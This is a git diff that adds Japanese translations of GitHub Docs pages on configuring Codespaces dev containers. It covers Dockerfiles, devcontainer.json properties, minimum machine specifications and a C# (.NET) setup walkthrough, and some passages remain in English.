+Dockerfile をプロジェクトに追加して、コンテナイメージを定義し、ソフトウェアをインストールできます。 Dockerfileでは、`FROM` を使用してコンテナイメージを指定できます。
 
 ```Dockerfile
 FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14
 
-# ** [Optional] Uncomment this section to install additional packages. **
+# ** [Optional] このセクションのコメントを解除して、追加のパッケージをインストールします。 **
 # USER root
 #
 # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
@@ -55,9 +55,9 @@ FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14
 # USER codespace
 ```
 
-You can use the `RUN` instruction to install any software and `&&` to join commands.
+`RUN` 命令を使用して任意のソフトウェアをインストールし、`&&` を使用してコマンドを結合できます。
 
-Reference your Dockerfile in your `devcontainer.json` file by using the `dockerfile` property.
+`dockerfile` プロパティを使用して、`devcontainer.json` ファイルで Dockerfile を参照します。
 
 ```json
 {
@@ -67,31 +67,28 @@ Reference your Dockerfile in your `devcontainer.json` file by using the `dockerf
 }
 ```
 
-For more information on using a Dockerfile in a dev container, see [Create a development container](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile) in the {% data variables.product.prodname_vscode %} documentation. 
+開発コンテナでの Dockerfile の使用について詳しくは、{% data variables.product.prodname_vscode %} ドキュメントの「[開発コンテナの作成](https://code.visualstudio.com/docs/remote/create-dev-container#_dockerfile)」を参照してください。
 
-## Using the default configuration
+## デフォルト設定を使用する
 
-If you don't define a configuration in your repository, {% data variables.product.prodname_dotcom %} creates a codespace with a base Linux image. The base Linux image includes languages and runtimes like Python, Node.js, JavaScript, TypeScript, C++, Java, .NET, PHP, PowerShell, Go, Ruby, and Rust. It also includes other developer tools and utilities like git, GitHub CLI, yarn, openssh, and vim. To see all the languages, runtimes, and tools that are included use the `devcontainer-info content-url` command inside your codespace terminal and follow the url that the command outputs.
+リポジトリで設定を定義しない場合、{% data variables.product.prodname_dotcom %} はベースの Linux イメージを使用して Codespaces を作成します。 ベース Linux イメージには、Python、Node.js、JavaScript、TypeScript、C++、Java、.NET、PHP、PowerShell、Go、Ruby、Rust などの言語とランタイムが含まれています。 また、git、GitHub CLI、yarn、openssh、vim などの他の開発者ツールやユーティリティも含まれています。 含まれているすべての言語、ランタイム、およびツールを表示するには、codespace 端末内で `devcontainer-info content-url` コマンドを使用し、コマンドが出力する URL に従います。
 
-Alternatively, for more information about everything that is included in the base Linux image, see the latest file in the [`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) repository. 
+または、ベース Linux イメージに含まれるすべての詳細については、[`microsoft/vscode-dev-containers`](https://github.com/microsoft/vscode-dev-containers/tree/main/containers/codespaces-linux) リポジトリの最新ファイルを参照してください。
 
-The default configuration is a good option if you're working on a small project that uses the languages and tools that {% data variables.product.prodname_codespaces %} provides.
+{% data variables.product.prodname_codespaces %} が提供する言語とツールを使用する小さなプロジェクトで作業している場合は、デフォルトの設定が適しています。
 
 
-## Using a predefined container configuration
+## 事前定義済みのコンテナ設定を使用する
 
-Predefined container definitions include a common configuration for a particular project type, and can help you quickly get started with a configuration that already has the appropriate container options, {% data variables.product.prodname_vscode %} settings, and {% data variables.product.prodname_vscode %} extensions that should be installed.
+事前定義済みのコンテナの定義には、特定のプロジェクトタイプの共通設定が含まれており、インストールする必要のある適切なコンテナオプション、{% data variables.product.prodname_vscode %} 設定、および {% data variables.product.prodname_vscode %} 機能拡張が既に含まれている設定を使用してすばやく開始できます。
 
-Using a predefined configuration is a great idea if you need some additional extensibility. You can also start with a predefined configuration and amend it as needed for your project's setup.
+追加の拡張性が必要な場合は、事前定義済みの設定を使用することをお勧めします。 事前定義済みの設定をひな形にして、プロジェクトの設定に合わせて修正することもできます。
 
 {% data reusables.codespaces.command-palette-container %}
-1. Click the definition you want to use.
-  ![List of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png)
+1. Click the definition you want to use. ![List of predefined container definitions](/assets/images/help/codespaces/predefined-container-definitions-list.png)
 1. Follow the prompts to customize your definition. For more information on the options to customize your definition, see "[Adding additional features to your `devcontainer.json` file](#adding-additional-features-to-your-devcontainerjson-file)."
-1. Click **OK**.
-  ![OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png)
-1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
-  !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png)
+1. [**OK**] をクリックします。 ![OK button](/assets/images/help/codespaces/prebuilt-container-ok-button.png)
+1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." !["Codespaces: Rebuild Container" in the {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/rebuild-prompt.png)
 
 ### Adding additional features to your `devcontainer.json` file
 
@@ -107,30 +104,28 @@ You can add some of the most common features by selecting them when configuring
 
 ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
 
-You can also add or remove features outside of the **Add Development Container Configuration Files** workflow. 
-1. Access the Command Palette (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**.
-  ![The Configure Devcontainer Features command in the command palette](/assets/images/help/codespaces/codespaces-configure-features.png)
-2. Update your feature selections, then click **OK**.
-  ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
-1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
-  !["Codespaces: Rebuild Container" in the command palette](/assets/images/help/codespaces/rebuild-prompt.png)
+You can also add or remove features outside of the **Add Development Container Configuration Files** workflow.
+1. Access the Command Palette (`Shift + Command + P` / `Ctrl + Shift + P`), then start typing "configure". Select **Codespaces: Configure Devcontainer Features**. ![The Configure Devcontainer Features command in the command palette](/assets/images/help/codespaces/codespaces-configure-features.png)
+2. Update your feature selections, then click **OK**. ![The select additional features menu during container configuration.](/assets/images/help/codespaces/select-additional-features.png)
+1. To apply the changes, in the bottom right corner of the screen, click **Rebuild now**. For more information about rebuilding your container, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)." !["Codespaces: Rebuild Container" in the command palette](/assets/images/help/codespaces/rebuild-prompt.png)
 
 
-## Creating a custom codespace configuration
+## カスタム codespace 設定を作成する
 
-If none of the predefined configurations meet your needs, you can create a custom configuration by adding a `devcontainer.json` file. {% data reusables.codespaces.devcontainer-location %}
+事前設定済みの設定のいずれもニーズを満たさない場合は、`devcontainer.json` ファイルを追加してカスタム設定を作成できます。 {% data reusables.codespaces.devcontainer-location %}
 
-In the file, you can use [supported configuration keys](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) to specify aspects of the codespace's environment, like which {% data variables.product.prodname_vscode %} extensions will be installed.
+このファイルでは、[サポートされている設定キー](https://code.visualstudio.com/docs/remote/devcontainerjson-reference)を使用して、codespace の環境の要素を指定できます。たとえば、{% data variables.product.prodname_vscode %} 拡張機能がインストールできます。
 
 {% data reusables.codespaces.vscode-settings-order %}
 
-You can define default editor settings for {% data variables.product.prodname_vscode %} in two places.
+2 つの場所で {% data variables.product.prodname_vscode %} のデフォルトのエディタ設定を定義できます。
 
-* Editor settings defined in `.vscode/settings.json` are applied as _Workspace_-scoped settings in the codespace.
-* Editor settings defined in the `settings` key in `devcontainer.json` are applied as _Remote [Codespaces]_-scoped settings in the codespace.
+* `.vscode/settings.json` で定義されたエディタ設定は、_Workspace_ スコープの設定として codespace に適用されます。
+* `devcontainer.json` の`設定`キーで定義されたエディタ設定は、codespace の _リモート [Codespaces]_ スコープ設定として適用されます。
 
 After updating the `devcontainer.json` file, you can rebuild the container for your codespace to apply the changes. For more information, see "[Applying changes to your configuration](#applying-changes-to-your-configuration)."
 
+
 <!--
 ## Supported codespace configuration keys
 
@@ -166,8 +161,7 @@ For more information about the available settings for `devcontainer.json`, see [
 {% data reusables.codespaces.apply-devcontainer-changes %}
 
 {% data reusables.codespaces.rebuild-command %}
-1. {% data reusables.codespaces.recovery-mode %} Fix the errors in the configuration.
-  ![Error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png)
+1. {% data reusables.codespaces.recovery-mode %} Fix the errors in the configuration. ![Error message about recovery mode](/assets/images/help/codespaces/recovery-mode-error-message.png)
    - To diagnose the error by reviewing the creation logs, click **View creation log**.
    - To fix the errors identified in the logs, update your `devcontainer.json` file.
    - To apply the changes, rebuild your container. 
diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/index.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/index.md
index dd4c7f17c2..381864b773 100644
--- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/index.md
+++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/index.md
@@ -1,7 +1,7 @@
 ---
 title: 'Setting up your repository for {% data variables.product.prodname_codespaces %}'
 allowTitleToDifferFromFilename: true
-intro: 'Learn how to get started with {% data variables.product.prodname_codespaces %}, including set up and configuration for specific languages.'
+intro: '特定の言語のセットアップや構成など、{% data variables.product.prodname_codespaces %} の使用方法を学びます。'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,5 +15,6 @@ children:
   - /setting-up-your-dotnet-project-for-codespaces
   - /setting-up-your-java-project-for-codespaces
   - /setting-up-your-python-project-for-codespaces
+  - /setting-a-minimum-specification-for-codespace-machines
 ---
 
diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
new file mode 100644
index 0000000000..a991d78658
--- /dev/null
+++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines.md
@@ -0,0 +1,53 @@
+---
+title: Setting a minimum specification for codespace machines
+shortTitle: Setting a minimum machine spec
+intro: 'You can avoid under-resourced machine types being used for {% data variables.product.prodname_codespaces %} for your repository.'
+permissions: People with write permissions to a repository can create or edit the codespace configuration.
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Set up
+product: '{% data reusables.gated-features.codespaces %}'
+---
+
+## 概要
+
+When you create a codespace for a repository you are typically offered a choice of available machine types. Each machine type has a different level of resources. For more information, see "[Changing the machine type for your codespace](/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace#about-machine-types)."
+
+If your project needs a certain level of compute power, you can configure {% data variables.product.prodname_github_codespaces %} so that only machine types that meet these requirements are available for people to select. You configure this in the `devcontainer.json` file.
+
+{% note %}
+
+**Important:** Access to some machine types may be restricted at the organization level. Typically this is done to prevent people choosing higher resourced machines that are billed at a higher rate. If your repository is affected by an organization-level policy for machine types you should make sure you don't set a minimum specification that would leave no available machine types for people to choose. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
+{% endnote %}
+
+## Setting a minimum machine specification
+
+1. {% data variables.product.prodname_codespaces %} for your repository are configured in the `devcontainer.json` file. If your repository does not already contain a `devcontainer.json` file, add one now. See "[Add a dev container to your project](/free-pro-team@latest/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces)."
+1. Edit the `devcontainer.json` file, adding a `hostRequirements` property such as this:
+
+   ```json{:copy}
+   "hostRequirements": {
+      "cpus": 8,
+      "memory": "8gb",
+      "storage": "32gb" 
+   }
+   ```
+
+   You can specify any or all of the options: `cpus`, `memory`, and `storage`.
+
+   To check the specifications of the {% data variables.product.prodname_codespaces %} machine types that are currently available for your repository, step through the process of creating a codespace until you see the choice of machine types. 詳しい情報については、「[codespace を作成する](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)」を参照してください。
+
+1. Save the file and commit your changes to the required branch of the repository.
+
+   Now when you create a codespace for that branch of the repository you will only be able to select machine types that match or exceed the resources you've specified.
+
+   ![Dialog box showing a limited choice of machine types](/assets/images/help/codespaces/machine-types-limited-choice.png)
+
+## 参考リンク
+
+- "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project)"
diff --git a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
index 2109d9c551..7c0c936dbc 100644
--- a/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
+++ b/translations/ja-JP/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-dotnet-project-for-codespaces.md
@@ -3,7 +3,7 @@ title: Setting up your C# (.NET) project for Codespaces
 shortTitle: Setting up your C# (.NET) project
 allowTitleToDifferFromFilename: true
 product: '{% data reusables.gated-features.codespaces %}'
-intro: 'Get started with your C# (.NET) project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: 'カスタム開発コンテナを作成して、{% data variables.product.prodname_codespaces %} で C# (.NET) プロジェクトを始めます。'
 redirect_from:
   - /codespaces/getting-started-with-codespaces/getting-started-with-your-dotnet-project
 versions:
@@ -17,129 +17,125 @@ hidden: true
 
 
 
-## Introduction
+## はじめに
 
-This guide shows you how to set up your C# (.NET) project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+このガイドでは、{% data variables.product.prodname_codespaces %} で C# (.NET) プロジェクトを設定する方法を説明します。 codespace でプロジェクトを開き、テンプレートから開発コンテナ設定を追加および変更する例を紹介します。
 
-### Prerequisites
+### 必要な環境
 
-- You should have an existing C# (.NET) project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/dotnet-quickstart.
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- {% data variables.product.prodname_dotcom_the_website %} のリポジトリに既存の C# (.NET) プロジェクトがある必要があります。 プロジェクトがない場合は、https://github.com/2percentsilk/dotnet-quickstart の例でこのチュートリアルを試すことができます。
+- Organization で {% data variables.product.prodname_codespaces %} を有効にする必要があります。
 
-## Step 1: Open your project in a codespace
+## ステップ 1: codespace でプロジェクトを開く
 
 1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![[New codespace] ボタン](/assets/images/help/codespaces/new-codespace-button.png)
 
   If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including .NET. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+codespace を作成すると、プロジェクトは専用のリモート VM 上に作成されます。 デフォルト設定では、codespace のコンテナには、.NET を含む多くの言語とランタイムがあります。 また、git、wget、rsync、openssh、nano などの一般的なツールセットも含まれています。
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+vCPU と RAM の量を調整したり、[ドットファイルを追加して環境をパーソナライズ](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)したり、インストールされているツールやスクリプトを変更したりして、codespace をカスタマイズできます。
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} は、`devcontainer.json` というファイルを使用して設定を保存します。 起動時に、{% data variables.product.prodname_codespaces %} はファイルを使用して、プロジェクトに必要となる可能性のあるツール、依存関係、またはその他のセットアップをインストールします。 For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
-## Step 2: Add a dev container to your codespace from a template
+## ステップ 2: テンプレートから codespace に開発コンテナを追加する
 
-The default codespaces container comes with the latest .NET version and common tools preinstalled. However, we encourage you to set up a custom container so you can tailor the tools and scripts that run as part of codespace creation to your project's needs and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+デフォルトの Codespaces コンテナには、最新の .NET バージョンと一般的なツールがプリインストールされています。 ただし、カスタムコンテナを設定して、codespace 作成の一部として実行されるツールとスクリプトをプロジェクトのニーズに合わせて調整し、リポジトリ内のすべての {% data variables.product.prodname_codespaces %} ユーザに完全に再現可能な環境を確保することをお勧めします。
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers
-](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+カスタムコンテナを使用してプロジェクトを設定するには、`devcontainer.json` ファイルを使用して環境を定義する必要があります。 {% data variables.product.prodname_codespaces %} で、これをテンプレートから追加することも、独自に作成することもできます。 For more information on dev containers, see "[Introduction to dev containers ](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
 
 {% data reusables.codespaces.command-palette-container %}
-2. For this example, click **C# (.NET)**. If you need additional features you can select any container that’s specific to C# (.NET) or a combination of tools such as C# (.NET) and MS SQL.
-  ![Select C# (.NET) option from the list](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png)
-3. Click the recommended version of .NET.
-  ![.NET version selection](/assets/images/help/codespaces/add-dotnet-version.png)
-4. Accept the default option to add Node.js to your customization.
-  ![Add Node.js selection](/assets/images/help/codespaces/dotnet-options.png)
+2. この例では、**C# (.NET)** をクリックします。 追加機能が必要な場合は、C# (.NET) に固有の任意のコンテナ、または C# (.NET) や MSSQL などのツールの組み合わせを選択できます。 ![リストから C# (.NET) オプションの選択](/assets/images/help/codespaces/add-dotnet-prebuilt-container.png)
+3. .NET の推奨バージョンをクリックします。 ![.NET バージョンの選択](/assets/images/help/codespaces/add-dotnet-version.png)
+4. デフォルトのオプションを使用して、Node.js をカスタマイズに追加します。 ![Node.js の選択に追加](/assets/images/help/codespaces/dotnet-options.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### 開発コンテナの構造
 
-Adding the C# (.NET) dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+C# (.NET) 開発コンテナテンプレートを追加すると、次のファイルを含む `.devcontainer` フォルダがプロジェクトのリポジトリのルートに追加されます。
 
 - `devcontainer.json`
 - Dockerfile
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+新しく追加された `devcontainer.json` ファイルは、サンプルの後に説明されるいくつかのプロパティを定義します。
 
 #### devcontainer.json
 
 ```json
 {
-	"name": "C# (.NET)",
-	"build": {
-		"dockerfile": "Dockerfile",
-		"args": {
-			// Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0
-			"VARIANT": "5.0",
-			// Options
-			"INSTALL_NODE": "true",
-			"NODE_VERSION": "lts/*",
-			"INSTALL_AZURE_CLI": "false"
-		}
-	},
+    "name": "C# (.NET)",
+    "build": {
+        "dockerfile": "Dockerfile",
+        "args": {
+            // Update 'VARIANT' to pick a .NET Core version: 2.1, 3.1, 5.0
+            "VARIANT": "5.0",
+            // Options
+            "INSTALL_NODE": "true",
+            "NODE_VERSION": "lts/*",
+            "INSTALL_AZURE_CLI": "false"
+        }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"ms-dotnettools.csharp"
-	],
+    // コンテナの作成時にインストールする拡張機能の ID を追加します。
+    "extensions": [
+        "ms-dotnettools.csharp"
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [5000, 5001],
+    // 'forwardPorts' を使用して、コンテナ内のポートのリストをローカルで使用できるようにします。
+    // "forwardPorts": [5000, 5001],
 
-	// [Optional] To reuse of your local HTTPS dev cert:
-	//
-	// 1. Export it locally using this command:
-	//    * Windows PowerShell:
-	//        dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
-	//    * macOS/Linux terminal:
-	//        dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
-	//
-	// 2. Uncomment these 'remoteEnv' lines:
-	//    "remoteEnv": {
-	// 	      "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere",
-	//        "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx",
-	//    },
-	//
-	// 3. Do one of the following depending on your scenario:
-	//    * When using GitHub Codespaces and/or Remote - Containers:
-	//      1. Start the container
-	//      2. Drag ~/.aspnet/https/aspnetapp.pfx into the root of the file explorer
-	//      3. Open a terminal in VS Code and run "mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https"
-	//
-	//    * If only using Remote - Containers with a local container, uncomment this line instead:
-	//      "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ],
+    // [Optional] To reuse of your local HTTPS dev cert:
+    //
+    // 1. Export it locally using this command:
+    //    * Windows PowerShell:
+    //        dotnet dev-certs https --trust; dotnet dev-certs https -ep "$env:USERPROFILE/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
+    //    * macOS/Linux terminal:
+    //        dotnet dev-certs https --trust; dotnet dev-certs https -ep "${HOME}/.aspnet/https/aspnetapp.pfx" -p "SecurePwdGoesHere"
+    //
+    // 2. これらの「remoteEnv」行のコメントを解除します。
+    //    "remoteEnv": {
+    //        "ASPNETCORE_Kestrel__Certificates__Default__Password": "SecurePwdGoesHere",
+    //        "ASPNETCORE_Kestrel__Certificates__Default__Path": "/home/vscode/.aspnet/https/aspnetapp.pfx",
+    //    },
+    //
+    // 3. シナリオに応じて、次のいずれかを実行します。
+    //    * GitHub Codespaces や Remote - Containers を使用する場合:
+    //      1. コンテナを開始します
+    //      2. ~/.aspnet/https/aspnetapp.pfx をファイルエクスプローラのルートにドラッグします
+    //      3. VS Code でターミナルを開き、"mkdir -p /home/vscode/.aspnet/https && mv aspnetapp.pfx /home/vscode/.aspnet/https" を実行します
+    //
+    //    * Remote - Containers のみをローカルコンテナとともに使用する場合は、代わりに次の行のコメントを解除します。
+    //      "mounts": [ "source=${env:HOME}${env:USERPROFILE}/.aspnet/https,target=/home/vscode/.aspnet/https,type=bind" ],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "dotnet restore",
+    // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。
+    // "postCreateCommand": "dotnet restore",
 
-	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "vscode"
+    // 代わりに、connect を root としてコメントアウトします。 詳細は https://aka.ms/vscode-remote/containers/non-root を参照します。
+    "remoteUser": "vscode"
 }
 ```
 
-- **Name** - You can name our dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **Dockerfile** - In the build object, `dockerfile` is a reference to the Dockerfile that was also added from the template.
+- **名前** - 開発コンテナには任意の名前を付けることができます。これはデフォルトです。
+- **ビルド** - ビルドプロパティです。
+  - **Dockerfile** - ビルドオブジェクトでは、Dockerfile は、これもまたテンプレートから追加された `dockerfile` への参照です。
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the .NET Core version that we want to use.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **ms-dotnettools.csharp** - The Microsoft C# extension provides rich support for developing in C#, including features such as IntelliSense, linting, debugging, code navigation, code formatting, refactoring, variable explorer, test explorer, and more.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, like `dotnet restore`, you can do that here.
-- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root.
+    - **バリアント**: このファイルには、使用する .NETCore バージョンであるビルド引数が1つだけ含まれています。
+- **設定** - これらは {% data variables.product.prodname_vscode %} 設定です。
+  - **Terminal.integrated.shell.linux** - ここでは bash がデフォルトですが、これを変更することで他のターミナルシェルを使用できます。
+- **機能拡張** - これらはデフォルト設定で含まれている機能拡張です。
+  - **ms-dotnettools.csharp** - Microsoft C# 機能拡張は、IntelliSense、linting、デバッグ、コードナビゲーション、コード形式、リファクタリング、変数エクスプローラ、テストエクスプローラなどの機能を含む、C# での開発に豊富なサポートを提供します。
+- **forwardPorts** - ここにリストされているポートはすべて自動的に転送されます。 For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+- **postCreateCommand** - `dotnet restore` のように、Dockerfileで定義されていない codespace への到達後に何らかの操作を実行する場合は、ここで実行できます。
+- **remoteUser** - デフォルト設定では、vscode ユーザとして実行していますが、オプションでこれを root に設定できます。
 
 #### Dockerfile
 
@@ -163,62 +159,62 @@ RUN if [ "$INSTALL_AZURE_CLI" = "true" ]; then bash /tmp/library-scripts/azcli-d
 # RUN apt-get update && export DEBIAN_FRONTEND=noninteractive \
 #     && apt-get -y install --no-install-recommends <your-package-list-here>
 
-# [Optional] Uncomment this line to install global node packages.
+# [Optional] この行のコメントを解除してグローバルノードパッケージをインストールします。
 # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our container.
+Dockerfile を使用して、コンテナレイヤーを追加し、コンテナに含める OS パッケージ、ノードバージョン、またはグローバルパッケージを指定できます。
 
-## Step 3: Modify your devcontainer.json file
+## ステップ 3: devcontainer.json ファイルを変更する
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and restore your project dependencies when your codespace launches.
+開発コンテナを追加し、すべての機能を基本的に理解したら、環境に合わせてコンテナを設定するための変更を加えます。 この例では、機能拡張をインストールし、codespace の起動時にプロジェクトの依存関係を復元するためのプロパティを追加します。
 
-1. In the Explorer, expand the `.devcontainer` folder and select the `devcontainer.json` file from the tree to open it.
+1. Explorer で `.devcontainer` フォルダを展開し、ツリーから `devcontainer.json` ファイルを選択して開きます。
 
   ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Update your the `extensions` list in your `devcontainer.json` file to add a few extensions that are useful when working with your project.
+2. `devcontainer.json` ファイルの `extensions` リストを更新し、プロジェクトでの作業に役立ついくつかの機能拡張を追加します。
 
   ```json{:copy}
   "extensions": [
-		  "ms-dotnettools.csharp",
-		  "streetsidesoftware.code-spell-checker",
-	  ],
+          "ms-dotnettools.csharp",
+          "streetsidesoftware.code-spell-checker",
+      ],
   ```
 
-3. Uncomment the `postCreateCommand` to restore dependencies as part of the codespace setup process.
+3. codespace 設定プロセスの一部として依存関係を復元するには、`postCreateCommand` のコメントを解除します。
 
   ```json{:copy}
-  // Use 'postCreateCommand' to run commands after the container is created.
+  // コンテナの作成後にコマンドを実行するには、「postCreateCommand」を使用します。
   "postCreateCommand": "dotnet restore",
   ```
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  codespace 内でリビルドすると、リポジトリに変更をコミットする前に、期待どおりに変更が動作します。 何らかの失敗があった場合、コンテナの調整を継続するためにリビルドできるリカバリコンテナを備えた codespace に配置されます。
 
-5. Check your changes were successfully applied by verifying the "Code Spell Checker" extension was installed.
+5. 「Code Spell Checker」機能拡張がインストールされていることを確認して、変更が正常に適用されたことを確認します。
 
-    ![Extensions list](/assets/images/help/codespaces/dotnet-extensions.png)
+    ![機能拡張のリスト](/assets/images/help/codespaces/dotnet-extensions.png)
 
-## Step 4: Run your application
+## Step 4: アプリケーションを実行する
 
-In the previous section, you used the `postCreateCommand` to install a set of packages via the `dotnet restore` command. With our dependencies now installed, we can run our application.
+前のセクションでは、`postCreateCommand` を使用して、`dotnet restore` コマンドを介してパッケージ一式をインストールしました。 依存関係がインストールされているため、アプリケーションを実行できます。
 
-1. Run your application by pressing `F5` or entering `dotnet watch run` in your terminal.
+1. `F5` キーを押すか、ターミナルで `dotnet watch run` と入力して、アプリケーションを実行します。
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. プロジェクトが開始されると、プロジェクトが使用するポートに接続するためのプロンプトが表示されたトーストが右下隅に表示されます。
 
-  ![Port forwarding toast](/assets/images/help/codespaces/python-port-forwarding.png)
